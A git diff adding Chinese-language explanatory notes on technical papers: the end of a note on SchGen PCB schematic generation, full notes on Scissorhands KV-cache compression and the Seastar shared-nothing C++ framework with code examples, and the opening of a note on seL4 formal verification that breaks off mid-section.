+  --prompt "Design a 3.3V LDO regulator with input capacitor, \
+enable tied to VIN, and a test point on the output rail." \
+  --output ./schematic_generation/generated.py
+
+# 执行生成的表示代码 → 得到可编辑原理图
+python ./schematic_generation/generated.py
+```
+
+模型内部流程可概括为：
+
+```text
+自然语言 prompt
+  → SchGen（CoT + Code-L1 Python）
+  → 执行 API（add_schematic_symbol / connect_pins / ...）
+  → write_out_all_wires()
+  → 有效 .kicad_sch + netlist
+```
+
+若 Python 抛错（引脚名不存在、reference 重复）或 KiCad **ERC** 报短路/非法连接，则该样本在 **Valid Circuits** 指标下计为失败。
+
+---
+
+## 评估指标（读论文结果用）
+
+| 指标 | 含义 | SchGen (Code-L1) 约值 |
+|------|------|------------------------|
+| **Valid Circuits** | 代码可执行且 KiCad ERC 无严重错误 | **82%** |
+| **Spatial Violation** | 符号/标签/线重叠（可读性代理） | ~7.7（加权） |
+| **Netlist Jaccard** | 生成与真值 netlist 的集合相似度 | **~49%** |
+| **Expert Functional Correctness** | 两位专家抽检能否按意图工作 | **60.5%** |
+
+对比亮点（Table 2–3）：
+
+- 原始 **KiCad 文件**微调：Valid **32%**，功能正确 **3%**。
+- **Code-L3**（无引脚名连线）：功能正确仅 **6%**。
+- 去掉 **CoT**：Valid 从 82% 降到 **53%**。
+- 同 API 提示下 **GPT-5.2** 功能正确 **50%**，仍低于 SchGen。
+
+GitHub 外分布测试（988 样本）：SchGen netlist Jaccard **40.65%**，与 GPT-5.2 **40.64%** 持平，说明有一定泛化，但复杂 unseen 设计仍是难点。
+
+---
+
+## 与相关工作的关系
+
+```text
+数字 IC：Verilog/VHDL + LLM（ChatEDA、VeriGen 等）
+模拟 IC：图生成 / Python 拓扑（CktGNN、AnalogCoder）
+PCB 布局布线：强化学习、启发式（与原理图阶段不同）
+原理图图像 → netlist：Netlistify、Image2Net（逆向，非端到端生成）
+SKiDL：Python 写 netlist，跳过可视化原理图
+SchGen：自然语言 → 可编辑原理图（正向生成 + 语义代码表示）
+```
+
+SchGen 填补的是「**系统级混合器件原理图** + **自然语言意图**」这一空白；它不做 SPICE 级仿真验证（器件太杂），而用 netlist 与专家 rubric 作代理指标。
+
+---
+
+## 局限与工程现实
+
+论文结论部分坦诚：
+
+1. **数据域**：训练以 SparkFun 类结构化设计为主，超复杂工业板仍缺数据与模型能力。
+2. **高级约束**：差分对、阻抗控制、企业级 ERC 规则尚未建模。
+3. **人工闭环**：量产前仍需工程师审图；Agent 描摹阶段也要人修连线。
+4. **安全**：错误原理图可能导致硬件损坏——生成式 EDA 必须默认「建议稿」，非「签发稿」。
+
+---
+
+## 学习路径建议（零基础）
+
+1. **先摸 KiCad**：理解 symbol、pin、net label、ERC、导出 netlist（无需会布局）。
+2. **读 Code-L1 附录 Listing 1**（论文 §6.1）：对照一张简单 LDO + LED 图看 API 如何复现。
+3. **克隆 SchGen 仓库**：跑通 `generate.py` + 执行 `generated.py`，在 KiCad 里打开结果。
+4. **做表示实验**：同一 prompt 让通用 LLM 输出 Code-L2/L3 或 raw KiCad，对比可执行率。
+5. **延伸阅读**：PCBSchemaGen（反馈迭代）、Schemato（netlist→schematic 逆向）对照理解正反方向。
+
+---
+
+## 自测题
+
+1. 为什么论文认为「引脚名连线」比「坐标画线段」对 LLM 更友好？
+2. Code-L1 里「中心符号 + 相对偏移」解决的是什么认知负担？
+3. Valid Circuits 的两道关卡分别检查什么？
+4. 若 netlist Jaccard 高但专家功能正确率低，可能说明什么问题？
+5. Agentic sketch 阶段为什么仍需要人工校对？
+
+<details>
+<summary>参考答案（先自己想）</summary>
+
+1. 引脚名携带电气语义（VIN、GND），模型做符号匹配即可；坐标线段要求精确几何与拓扑推理，错误率高。  
+2. 减轻绝对坐标记忆与长数字序列生成负担，布局变成「相对功能邻居」的局部推理。  
+3. (1) Python 无运行时错误；(2) KiCad ERC 无短路等严重电气规则违规。  
+4. netlist 可能「连对线但器件选型/值/模块级功能」仍错；或评测集合与专家标准不一致。  
+5. 多模态 LLM 难区分导线交叉与真正电气连接；自动描摹会有拓扑错误，需人对齐参考图。  
+
+</details>
+
+---
+
+## 参考资料
+
+- 论文：[arXiv:2605.30345](https://arxiv.org/abs/2605.30345) — *SchGen: PCB Schematic Generation with Semantic-Grounded Code Representations*（Luo, Ma, Zhang, Qiu, 2026）
+- 代码：[microsoft/SchGen](https://github.com/microsoft/SchGen)
+- 模型权重：Hugging Face `microsoft/SchGen`
+- EDA 背景：[KiCad](https://www.kicad.org/) 文档 — schematic / netlist / ERC
diff --git a/src/content/docs/papers/scissorhands-2023.md b/src/content/docs/papers/scissorhands-2023.md
new file mode 100644
index 000000000..b108225ce
--- /dev/null
+++ b/src/content/docs/papers/scissorhands-2023.md
@@ -0,0 +1,214 @@
+---
+title: "Scissorhands：利用重要性持久性假说压缩 LLM KV Cache"
+来源: https://arxiv.org/abs/2305.17118
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Scissorhands：利用重要性持久性假说压缩 LLM KV Cache
+
+## 一、KV Cache 到底是什么？
+
+在聊 Scissorhands 之前，先搞懂一个东西：KV Cache。
+
+想象你在读一本书。读到第 200 页的时候，你的大脑里存着前 199 页的关键信息——人名、情节、伏笔。当你读第 201 页时，你不需要重新翻回去读全书，只需要调用大脑里已有的记忆。
+
+LLM（大语言模型）做推理时也是这样。每当它生成了一个新词，就需要把这个词的信息存起来，因为后面生成新词时还要"回想"它。这个存储机制就叫 **KV Cache**：
+
+- **K（Key）**：每个词"能响应什么查询"——相当于书的目录索引
+- **V（Value）**：每个词"实际携带什么内容"——相当于书上那一页的文字
+
+问题在于：如果你在和 LLM 聊很长一段话，KV Cache 会变得非常大。假设模型有 70 亿参数（7B），KV Cache 可能比模型本身还要大几倍。
+
+**核心矛盾**：内存有限，但上下文越长，KV Cache 越大。
+
+## 二、Scissorhands 的核心直觉
+
+### 日常类比：书架上的书
+
+想象你的书架容量有限（这就是内存预算 B）。来了新书，书架满了，你就要决定扔掉哪本。
+
+一个朴素的做法是：扔掉最早放进去的书（LRU——最近最少使用）。
+
+但 Scissorhands 的做法不一样。它观察到一个有趣的现象：
+
+> **有些书，不管什么时候翻到它，它都被频繁引用。而有些书，放进去之后几乎没人再看。**
+
+比如你在写一篇关于"猫"的故事。前文提到"小明养了一只橘猫"。之后不管写到什么内容，"橘猫"这个词都会被反复关注。但前文里"那天天气不错"这句话，后面几乎不会再被关注。
+
+Scissorhands 提出的**重要性持久性假说**（Persistence of Importance Hypothesis）说的是：
+
+> 如果一个词在过去某个步骤中对生成结果有重大影响，那么它在未来生成中也会持续有重大影响。
+
+换句话说：**重要的词会一直重要，不重要的词一直不重要。**
+
+这给了你一个策略：不用扔掉最早的书，而是扔掉那些"放了之后一直没人翻"的书，保留那些"一直被引用"的书。
+
+## 三、核心概念拆解
+
+### 3.1 注意力分数（Attention Score）
+
+Transformer 模型的核心是"注意力机制"。每次生成新词时，模型会给之前所有词打分——"这个词对当前生成有多重要"。这个分数就是 **attention score**。
+
+Scissorhands 的关键洞察：这些分数服从**幂律分布**（power-law distribution）。也就是说：
+
+- 少数几个词分数极高（重要的词）
+- 大量词分数极低（不重要的词）
+
+这解释了为什么可以安全地丢弃低分数词——因为它们本来就没贡献什么。
+
+### 3.2 幂律分布是什么？
+
+幂律分布简单说就是：排名靠前的和排名靠后的差距极大。
+
+举个例子：假设有 100 个词被打分，排名前三的词拿到了 80% 的"注意力权重"，剩下 97 个词只分了 20%。那你丢掉那 97 个词中的大部分，影响会很小。
+
+### 3.3 记忆预算（Memory Budget）
+
+Scissorhands 的核心参数：**B**——你愿意给 KV Cache 分配多少个词的存储空间。
+
+- B = 原始序列长度 → 不压缩（1x）
+- B = 原始长度的 1/5 → 压缩 5x
+- 关键发现：压缩到 5x 时，模型质量几乎没有下降
+
+### 3.4 不微调（No Fine-tuning）
+
+这是 Scissorhands 最实用的地方：**它不需要重新训练或微调模型**。你可以把它直接"插"到任何已有的 LLM 推理管道里用，开箱即用。
+
+## 四、Scissorhands 怎么工作？
+
+### 整体流程
+
+```
+步骤 1: 生成新词，把新的 KV 加入缓存
+步骤 2: 如果缓存超过预算 B，执行压缩
+步骤 3: 压缩时，用"历史窗口"评估每个已存词的重要性
+步骤 4: 保留重要词，丢弃不重要词
+步骤 5: 继续生成下一个词
+```
+
+### 算法伪代码
+
+```python
+# 伪代码：预算 KV 缓存推理
+def inference_with_budget_kv_cache(
+    memory_budget=B,          # 内存预算：最多存多少个词
+    max_length=T_max,         # 最大生成长度
+    kv_cache_K=K,             # Key 缓存
+    kv_cache_V=V,             # Value 缓存
+):
+    n = 0  # 当前缓存中的词数
+    for t in range(T_max):
+        # 1. 模型计算，生成新词，将其 KV 加入缓存
+        K, V = model.update(K, V, x_t)
+        n += 1
+
+        # 2. 如果超过预算，压缩缓存
+        if n > B:
+            # 压缩：保留最重要的 B 个词
+            K, V = compress_kv_cache(K, V)
+            n = B
+
+        # 3. 继续生成
+```
+
+### 压缩算法详解
+
+```python
+# 伪代码：压缩 KV 缓存
+def compress_kv_cache(K, V, history_window=w=400, recent_window=r=10, drop_amount=m):
+    # 1. 计算每个词的历史重要性得分
+    importance_scores = np.zeros(t)  # t 是当前总词数
+
+    # 在"历史窗口"内（最近 w=400 个词），统计低注意力分数的次数
+    for i in range(t - w, t):
+        # 如果一个词在过去被注意到的分数很低，给它加分（要丢的信号）
+        if attention_score[i] < 1/t:
+            importance_scores[i] += 1
+
+    # 2. 最近 r=10 个词一律保留（因为还没来得及评估它们的重要性）
+    importance_scores[-r:] = 0
+
+    # 3. 选出重要性得分最低的 m 个词，丢弃它们
+    keep_indices = argsort(importance_scores)[:-m]  # 保留得分高的
+
+    # 4. 只保留选中的词
+    K_kept = K[keep_indices]
+    V_kept = V[keep_indices]
+
+    return K_kept, V_kept
+```
+
+### 关键参数说明
+
+| 参数 | 符号 | 推荐值 | 含义 |
+|------|------|--------|------|
+| 内存预算 | B | 灵活 | 最多存多少个词的 KV |
+| 历史窗口 | w | 400 | 统计重要性时看多长的历史 |
+| 保护窗口 | r | 10 | 最近多少个词一律不丢 |
+| 丢弃量 | m | 0.5B | 每次压缩丢多少个词 |
+
+## 五、为什么这能工作？理论保证
+
+论文做了一件很硬核的事情：用数学证明了**压缩后的输出和原始输出的差距是有上限的**。
+
+### 误差上限定理（简化理解）
+
+如果用 B 个词代替原始的全部 T_max 个词，生成的第 t 个词与原始词的差异期望满足：
+
+```
+E[误差] ≤ 2.1 * (1 - B/T_max) * (与幂律分布有关的因子)
+```
+
+这个公式告诉我们要点：
+
+1. **B 越接近 T_max，误差越小**——当你保留全部词时（B = T_max），误差为 0
+2. **幂律分布越陡峭，压缩效果越好**——因为重要词和垃圾词的差距越大，丢垃圾词就越安全
+3. **这个误差是有数学保证的上界**，不是经验性的
+
+### 重要性持久性的理论解释
+
+论文证明了一个定理（Theorem 3.1）：第 t 步的注意力分数 α_t,ℓ 和第 t+1 步的注意力分数 α_t+1,ℓ 几乎成正比。也就是说：
+
+> 一个词在第 t 步被注意到的程度，几乎决定了它在第 t+1 步被注意到的程度。
+
+这从数学上支撑了"重要性持久性"假说——重要的词会持续重要。
+
+## 六、实验结果
+
+### 在 OPT 模型上的表现
+
+| 模型 | 压缩倍数 | 困惑度（越低越好） | 下游任务准确率 |
+|------|----------|-------------------|---------------|
+| OPT-6B | 5x | 几乎无变化 | 无下降 |
+| OPT-13B | 5x | 几乎无变化 | 无下降 |
+| OPT-66B | 5x | 几乎无变化 | Winogrande/MathQA 无下降 |
+
+关键发现：
+
+- **压缩 5 倍（即只保留 20% 的 KV Cache），质量几乎没有损失**
+- **模型越大，效果越好**——66B 模型的容忍度比 6B 模型更高
+- **可以和安全量化（4-bit quantization）叠加使用**，压缩 10x~20x
+
+### 注意力分数误差
+
+Scissorhands 压缩后的注意力分数和原始的几乎完全一样（误差集中在 0 附近），说明压缩确实保留了最该保留的信息。
+
+## 七、Scissorhands 的局限
+
+1. **随机初始化的模型没有这种现象**——说明这是训练出来的行为，不是架构自带的。如果训练的不好，压缩效果可能差
+2. **论文只测到 OPT-66B**——更大模型（如 GPT-4 级别）的行为未知
+3. **压缩步骤引入额外计算**——但不是每步都做压缩，只在超过预算时才触发
+4. **不知道这种重复注意力模式与模型"复读"问题是否相关**
+
+## 八、总结
+
+Scissorhands 的贡献可以概括为三句话：
+
+1. **发现**：LLM 的注意力分数服从幂律分布，且重要词的影响力是持久的
+2. **提出**：基于这个发现，设计了无需微调的 KV Cache 压缩方法
+3. **验证**：在 OPT 系列模型上实现 5x 压缩无质量损失，与量化叠加可达 20x
+
+对学习者来说，Scissorhands 最重要的启示是：**不是所有记忆都有同等价值**。理解这一点，就能理解整个领域的压缩思路——从"全存"到"聪明地存"。
diff --git a/src/content/docs/papers/seastar-shared-nothing-2014.md b/src/content/docs/papers/seastar-shared-nothing-2014.md
new file mode 100644
index 000000000..1c32382f4
--- /dev/null
+++ b/src/content/docs/papers/seastar-shared-nothing-2014.md
@@ -0,0 +1,231 @@
+---
+title: Seastar — Shared-Nothing 异步框架（每核一线程 + Future 驱动）
+来源: https://seastar.io/shared-nothing/
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Seastar** 是 ScyllaDB 团队开源的 C++14 服务器框架，核心口号是 **Shared-Nothing（无共享）**：每个 CPU 核跑**恰好一个**应用线程（shard），内存、数据结构、连接与任务队列都按核切分；核与核之间**不抢同一把锁**，需要数据时走显式消息传递。
+
+日常类比：传统多线程服务器像**一家大超市只有一个收银台队伍**——所有顾客（请求）挤在同一排货架（共享哈希表）前，收银员要不断喊「别插队」（加锁），还要互相让路（cache line 颠簸）。Seastar 则是**每家分店只服务自己街区的顾客**：每个核是独立门店，有自己的库存和收银机；若顾客要买的东西在隔壁店，店员用对讲机下单（`smp::submit_to`），等回执（`future`）到了再结账——**店内零锁，跨店才通信**。
+
+Seastar 用这套模型支撑了 ScyllaDB（Cassandra 重写，号称 10× 吞吐）、Redpanda（Kafka 兼容 broker）、Starlette 系存储等。官方 shared-nothing 页面与 [Asynchronous Programming with Seastar](https://docs.seastar.io/master/tutorial.html) 教程是入门主文档。
+
+## 为什么需要它：硬件变了，线程模型没跟上
+
+现代机器有两条残酷趋势，Seastar 文档把它们写得很直白：
+
+| 趋势 | 后果 |
+|------|------|
+| **核数涨、主频不涨** | 性能越来越依赖多核扩展；粗粒度锁争用、细粒度锁的无争用开销都会拖垮扩展性 |
+| **网卡/SSD 越来越快** | 10Gbps 上处理 1024 字节包，2GHz CPU 每包只剩约 **1670 个时钟周期**（Intel DPDK 估算）——内核协议栈 + 多次拷贝 + 线程切换很容易吃光预算 |
+
+经典「每连接一线程/一进程」的**同步**模型写起来舒服，但 C10K 之后 event-loop + 非阻塞 IO 成为主流。可纯手写 epoll 回调会把代码变成**状态机意大利面**；更麻烦的是，像早期 Cassandra 用 `mmap` 读盘会在不可预期处阻塞，逼着你又回到多线程。
+
+Seastar 试图同时拿到：
+
+1. **异步/event-driven 的高并发**（单核一个 reactor，不阻塞）
+2. **Future/continuation 的可组合性**（比裸回调好读、好测）
+3. **Shared-nothing 的线性扩展**（避免跨核锁与 false sharing）
+4. **C++ 的零开销抽象**（相对 Java/Go 更可控的内存与指令）
+
+## 核心概念
+
+### 1. Shard = 核 = 一个 Reactor（引擎）
+
+每个 shard 上跑一个 **reactor**（事件循环）：轮询网卡队列、定时器、完成态 IO，调度协作式微任务。默认 `app_template` 会占满机器上所有硬件线程（可用 `-c N` 限制）。线程与核的绑定类似 `taskset`，且会尽量避免把两个 shard 钉在同一物理核的两个超线程上。
+
+**关键约束**：在 shard 内，你的代码应像写单线程程序一样思考——没有 mutex 保护的全局 `std::unordered_map`，除非你愿意接受性能悬崖。
+
+### 2. Shared-Nothing 内存
+
+每个 shard **预分配**一大块本地内存（默认吃掉除 OS 保留外的几乎全部 RAM，可用 `-m` 限制）。`malloc`/`new` 只在这块区域内分配，利于 NUMA 本地性与分配器优化。跨 shard 访问别人的指针是**未定义行为级别的设计错误**。
+
+### 3. Future 与 Continuation
+
+异步操作返回 `future<T>`：值可能尚未就绪。用 `.then()` 挂 continuation（通常是 lambda），在 future 就绪时由 reactor 调度执行。`sleep()`、`read()`、`submit_to()` 都统一成 future，便于链式组合并行 IO。
+
+若 future **已经就绪**再 `.then()`，continuation 往往**同步立即执行**（快路径优化）。
+
+### 4. 协作式调度与抢占
+
+没有 OS 线程抢占你的业务逻辑；长时间不算 IO 的 CPU 循环会**饿死 reactor**（文档称 reactor stall，>20ms 就很危险）。Seastar 在循环构造器里插入抢占点，也可手动 `seastar::maybe_yield()`；C++20 协程在每次 `co_await` 也会检查。注意：**`.then()` 链之间默认没有抢占点**，递归 future 环可能卡死事件循环。
+
+### 5. 连接如何分片、数据如何分片
+
+- **连接**：现代网卡可为每队列定向 RSS；Seastar 自研 TCP 栈时，新连接会落到特定 shard，之后固定在该核处理（类似连接亲和）。
+- **数据**：框架**不能**替你自动分片。常见策略：
+  - **按 key 哈希**到低比特选 shard（KV 主键访问）
+  - **全核复制** + 本地读、写时广播（小且读多写少元数据）
+  - **与集群分片对齐**（节点间 partition + 节点内 shard）
+
+### 6. 跨核通信 API
+
+| API | 作用 |
+|-----|------|
+| `smp::submit_to(cpu, lambda)` | 在目标 shard 执行 lambda，返回其结果的 `future` |
+| `smp::invoke_on_all` | 广播到所有 shard |
+| `map_reduce` 族 | 各 shard 计算后聚合 |
+
+底层走共享内存上的无阻塞消息队列，比「全局锁 + 条件变量」便宜一个数量级，但仍比本地访问贵——设计时要**减少跨 shard 跳转**。
+
+### 7. 自研 TCP 栈与 DMA 存储 API
+
+Seastar 可用内核 TCP，也提供与 shard 模型匹配的**用户态协议栈**，支持双向零拷贝（直接在栈缓冲区上解析，或把应用缓冲区交给发送路径）。存储侧同样强调 DMA 式接口，减少 memcpy。这与 DPDK/SPDK 思路同族，但和 future 编程模型焊在一起。
+
+## 代码示例
+
+### 示例 1：最小程序与跨核 `submit_to`
+
+下面综合官方 shared-nothing 页与 tutorial 的「Hello + 读邻居 shard 数据」模式（逻辑示意，非完整可编译工程）：
+
+```cpp
+#include <seastar/core/app-template.hh>
+#include <seastar/core/reactor.hh>
+#include <seastar/core/smp.hh>
+#include <seastar/core/print.hh>
+#include <unordered_map>
+#include <string>
+
+// 每个 shard 私有一份；绝不跨核直接读别人的 map
+static thread_local std::unordered_map<std::string, seastar::sstring> local_database;
+
+seastar::future<> demo_cross_shard(seastar::sstring key) {
+    unsigned me = seastar::this_shard_id();
+    unsigned neighbor = (me + 1) % seastar::smp::count;
+
+    // 在 neighbor 核上执行 lambda，返回 future<sstring>
+    return seastar::smp::submit_to(neighbor, [key] {
+        auto it = local_database.find(key);
+        if (it == local_database.end()) {
+            return seastar::make_ready_future<seastar::sstring>("<missing>");
+        }
+        return seastar::make_ready_future(it->second);
+    }).then([key, neighbor](seastar::sstring value) {
+        seastar::print("key=%s on shard %u is %s (queried from shard %u)\n",
+                       key, neighbor, value, seastar::this_shard_id());
+        return seastar::make_ready_future<>();
+    });
+}
+
+int main(int argc, char** argv) {
+    seastar::app_template app;
+    return app.run(argc, argv, [] {
+        local_database["user:42"] = "alice";
+        return demo_cross_shard("user:42");
+    });
+}
+```
+
+多线程等价物要在 `local_database` 外包 `std::mutex` 或 `shared_mutex`：无争用时原子/缓存一致性仍有成本，高争用时还会上下文切换。Seastar 把「锁」换成「把活派给数据主人」。
+
+### 示例 2：Future 链式 sleep + 并行 echo 服务骨架
+
+Tutorial 中的 sleep 与 TCP echo 模式展示了 continuation 组合与**故意不等待**连接处理 future 以实现并发：
+
+```cpp
+#include <seastar/core/sleep.hh>
+#include <seastar/core/reactor.hh>
+#include <seastar/core/stream.hh>
+#include <seastar/core/temporary_buffer.hh>
+#include <seastar/net/api.hh>
+#include <iostream>
+
+// --- 2a: 三个并行 sleep，1 秒后一起结束 ---
+seastar::future<> parallel_sleeps() {
+    using namespace std::chrono_literals;
+    return seastar::when_all(
+        seastar::sleep(1s),
+        seastar::sleep(1s),
+        seastar::sleep(1s)
+    ).discard_result();
+}
+
+// --- 2b: 每连接一个异步 fiber；accept 不阻塞在 handle 上 ---
+seastar::future<> handle_connection(seastar::connected_socket conn) {
+    auto in = conn.input();
+    auto out = conn.output();
+    return seastar::repeat([in = std::move(in), out = std::move(out)]() mutable {
+        return in.read().then([out = std::move(out)](seastar::temporary_buffer<char> buf) mutable {
+            if (buf.empty()) {
+                return seastar::make_ready_future<seastar::stop_iteration>(
+                    seastar::stop_iteration::yes);
+            }
+            return out.write(std::move(buf)).then([out = std::move(out)]() mutable {
+                return out.flush().then([] {
+                    return seastar::make_ready_future<seastar::stop_iteration>(
+                        seastar::stop_iteration::no);
+                });
+            });
+        });
+    });
+}
+
+seastar::future<> service_loop() {
+    seastar::listen_options lo;
+    lo.reuse_address = true;
+    return seastar::do_with(
+        seastar::listen(seastar::make_ipv4_address({1234}), lo),
+        [](seastar::server_socket& listener) {
+            return seastar::keep_doing([&listener] {
+                return listener.accept().then([](seastar::accept_result res) {
+                    // 故意不 return：让 handle 与下一次 accept 并行
+                    (void)handle_connection(std::move(res.connection));
+                    return seastar::make_ready_future<>();
+                });
+            });
+        });
+}
+```
+
+`keep_doing` 上一次迭代返回的 future 一 resolve 就发起下一次 `accept`；若 `return handle_connection(...)`，则会变成**串行 accept**（吞吐暴跌）。这是 Seastar 里「fire-and-forget future」的标准惯用法。
+
+## Shared-Nothing 的收益与代价
+
+**收益**（官方 SMP wiki 与 shared-nothing 页归纳）：
+
+- **局部性**：分配、访问、淘汰都在本核完成，对 L1/L2 cache 与 NUMA 友好
+- **锁极少**：同一数据结构的访问隐式串行化在单 shard 上
+- **扩展路径清晰**：与分布式系统「先分节点、再分片」一致，节点内再加 shard
+
+**代价**：
+
+- 并非所有负载都能按 key 均匀切分；热点 key 会导致单 shard 过热
+- 会话状态、跨行事务、全局计数器都要重新设计（显式迁移或复制）
+- 编程模型陡峭：future 组合、生命周期、`handle_exception`、关闭顺序都要习惯
+- 与阻塞式生态（部分磁盘 API、`mmap`、老式库）不合，需要线程隔离或改写
+
+## 与相近技术对照
+
+| 方案 | 并发模型 | 跨核共享 | 典型场景 |
+|------|----------|----------|----------|
+| **Seastar** | 每核 reactor + future | 消息传递，无共享数据结构 | ScyllaDB、Redpanda、低延迟 RPC |
+| **DPDK** | 轮询 + 每核队列 | 同左，但更偏包处理 | 转发、防火墙、UPF |
+| **io_uring** | 内核异步 IO 环 | 应用仍常多线程共享内存 | 通用 Linux 高 IOPS |
+| **Go net/http** | goroutine + 阻塞写法 | 共享堆 + GC | 业务 Web，延迟要求宽 |
+| **Tokio** | 多线程 runtime 抢任务 | 工作窃取，共享内存 | 通用 Rust 服务 |
+
+Seastar 可以看作把 **DPDK 式 per-core 纪律** 和 **future 组合性** 焊进同一框架，并补上 TCP/定时器/内存分配整套服务器设施。
+
+## 运行与调优提示
+
+- **内存**：生产务必设 `-m` 或 `--reserve-memory`，否则默认吃掉几乎全部物理内存，混部会 OOM。
+- **核数**：`-c` 不超过物理硬件线程；绑核策略影响超线程争用。
+- **延迟**：关注 reactor stall；用 Seastar 的 stall detector 与调度统计（`reactor::get_sched_stats`）找长任务。
+- **关闭**：用 future 决定应用生命周期，不要裸调 `exit()`，否则 reactor 与连接清理会跳过后续步骤。
+
+## 进一步阅读
+
+- [Shared-nothing Design](https://seastar.io/shared-nothing/) — 动机与 `smp::submit_to` 片段
+- [Seastar Tutorial](https://docs.seastar.io/master/tutorial.html) — Avi Kivity 著，future/reactor/网络全本
+- [SMP / Sharding Wiki](https://github.com/scylladb/seastar/wiki/SMP) — 连接与数据分片策略
+- ScyllaDB 技术博客 — 看真实系统如何把 LSM、Raft 嵌进 shard 模型
+
+## 小结
+
+Seastar 回答的问题是：**当核数很多、网卡很快、锁很便宜但不够便宜时，怎样写复杂服务器而不回到回调地狱？** 它的答案是 **shard 级 shared-nothing + 统一 future API + 可选用户态网络栈**。零基础读者可先记住三句话：（1）**数据跟核走，不要跨核指指针**；（2）**异步用 future 链，别阻塞 reactor**；（3）**跨核只走 `submit_to` 等显式通道**。做到这三点，再读 Scylla/Redpanda 源码时，线程模型就不会像一团乱麻了。
diff --git a/src/content/docs/papers/sel4-formal-2009.md b/src/content/docs/papers/sel4-formal-2009.md
new file mode 100644
index 000000000..5edceff10
--- /dev/null
+++ b/src/content/docs/papers/sel4-formal-2009.md
@@ -0,0 +1,300 @@
+---
+title: seL4 — 第一个被机器证明「没写错」的通用 OS 内核
+来源: https://sel4.systems/Info/Docs/seL4-paper-CACM.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+你买了一台**智能保险箱**，说明书上写：
+
+- 只有持钥匙的人才能打开
+- 钥匙不能凭空复制
+- 保险箱内部电路不会自己短路
+
+普通软件的做法是：找 QA 团队猛测、找黑客做渗透、上线后再打补丁。这就像让一百个人轮流踹保险箱门——踹不开不代表没有漏洞，只是还没踹到。
+
+**seL4 论文（Klein et al., SOSP 2009 / CACM 2013 扩展版）** 走的是另一条路：把保险箱的「行为说明书」写成数学公式，再把真实 C 代码和公式**逐条对齐**，用定理证明器 Isabelle/HOL **机器检查**整条推理链。结论不是「我们测了很多次没发现问题」，而是：
+
+> 在明确列出的假设成立时，这 8,700 行 C 代码的行为**永远**符合那份数学说明书。
+
+日常类比升级一下：
+
+| 日常场景 | 传统内核开发 | seL4 形式化验证 |
+|----------|--------------|-----------------|
+| 盖楼 | 工人按图纸施工，监理抽查 | 每一根钢筋都有「钢筋 ↔ 图纸」的数学对应证明 |
+| 法律 | 「我们尽力合规」 | 「任意输入下，程序状态转移都在法条允许集合内」 |
+| 考试 | 刷题、模考 | 把整张卷子变成可推导的定理 |
+
+论文核心贡献一句话：**史上第一次**对完整、通用用途的 OS 微内核，做出从抽象规范到 C 实现的**功能正确性**机器证明。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | *seL4: Formal Verification of an OS Kernel* |
+| 作者 | Gerwin Klein 等（NICTA / UNSW / OKL 等） |
+| 场合 | SOSP 2009；CACM 2013 读者版（用户指定 PDF 来源） |
+| 代码规模 | ~8,700 行 C + ~600 行汇编 |
+| 证明规模 | ~200,000 行 Isabelle/HOL 证明脚本（后续项目统计） |
+| 谱系 | 第三代 L4 微内核，受 EROS 能力模型影响 |
+| 验证工具 | Isabelle/HOL（交互式定理证明） |
+
+论文**主要讲验证方法与经验**，不是 API 手册。seL4 本身提供：虚拟地址空间、线程、同步/异步 IPC、**基于 capability 的授权**、显式内核内存管理。
+
+## 为什么值得零基础读
+
+1. **安全关键系统的标杆**：航空电子、无人载具、跨域隔离、高保证嵌入式——行业引用这篇论文，往往是在说「我们要的是 seL4 级别的保证」。
+2. **理解「形式化验证」到底证了什么**：不是「AI 扫了一遍没 bug」，而是 refinement（精化）——实现层每个可见行为都被高层规范「覆盖」。
+3. **微内核设计的工程理由**：不是因为 Linus vs Tanenbaum 口水战，而是因为**证明成本大致随代码复杂度暴涨**——内核越小，才越可能证完。
+4. **信任根（TCB）思维**：证明永远有假设（编译器、硬件、启动代码）。读论文等于学「把不可信边界画在哪里」。
+
+## 核心概念一：功能正确性 = 精化（Refinement）
+
+论文说的 *functional correctness* 比「不崩溃」更强：
+
+- 实现**严格遵循**高层抽象规范
+- 对每个可能的系统调用、每个合法输入，能预测内核状态如何变化
+- 通过 refinement 连接多层模型：**抽象规范 → 可执行规范 → C 实现**
+
+精化的直觉（forward simulation）：
+
+```
+高层抽象机 A  执行一步  →  状态 σ'
+        ‖ 对应关系 R
+        ▼
+低层实现机 C  执行一步  →  状态 γ'
+
+要求：σ 与 γ 满足 R 时，A 的一步在 C 里必有对应的一步，且结果仍满足 R
+```
+
+若 A 上证明了某安全性质（Hoare 逻辑）， refinement 保证 C 也满足——**证一次高层，下层继承**。
+
+论文图 2 的四层结构：
+
+```
+抽象规范 (Abstract Specification)
+    ↓ 精化证明 RA
+可执行规范 (Executable Specification)  ← 由 Haskell 原型自动翻译进 Isabelle
+    ↓ 精化证明 RC
+C 实现 (High-Performance C Implementation)
+```
+
+旁边还有 **Haskell 原型**：给 OS 开发者可运行、可接 QEMU 仿真的设计环境，再手工重写为高性能 C（因为 Haskell runtime 太大、有 GC，不适合硬实时）。
+
+## 核心概念二：为验证而设计（Design for Verification）
+
+论文 §3 强调：验证不是写完代码再「贴证明」，而是**设计决策与证明可证性同步**。
+
+典型手法：
+
+| 设计选择 | 验证上的好处 |
+|----------|--------------|
+| 显式 capability 授权所有内核对象 | 访问控制可写成清晰不变式 |
+| 内核内存分配必须持 capability | 消除「偷偷 malloc」类漏洞 |
+| 抽象层调度器**非确定**（任选可运行线程） | 实现可自由选择 round-robin、优先级等，证明只要求「选的是合法线程之一」 |
+| 避免 C 未定义行为（严格子集 + 类型化内存） | C 语义可形式化 |
+| Zombie capability 等技巧 | 解决「并发删除对象」时的引用计数证明难题 |
+
+**能力（Capability）** 日常类比：不是「我是 root 所以全能」，而是口袋里每一张**具名票券**——「允许映射这块物理页」「允许向这个 endpoint 发消息」。没有票券，内核 API 直接拒绝。
+
+能力存放在 **CNode**（能力容器）组成的能力地址空间里；物理内存起初是 **untyped capability**，可细分或 **retype** 成页表、TCB、endpoint、frame 等内核对象。
+
+## 核心概念三：三层规范各写什么
+
+### 抽象规范（what）
+
+- 用集合、列表、树、记录、函数描述内核状态
+- 允许**非确定性**（例如调度：「任意选一个 active 线程」）
+- 不管 C 里链表怎么摆
+
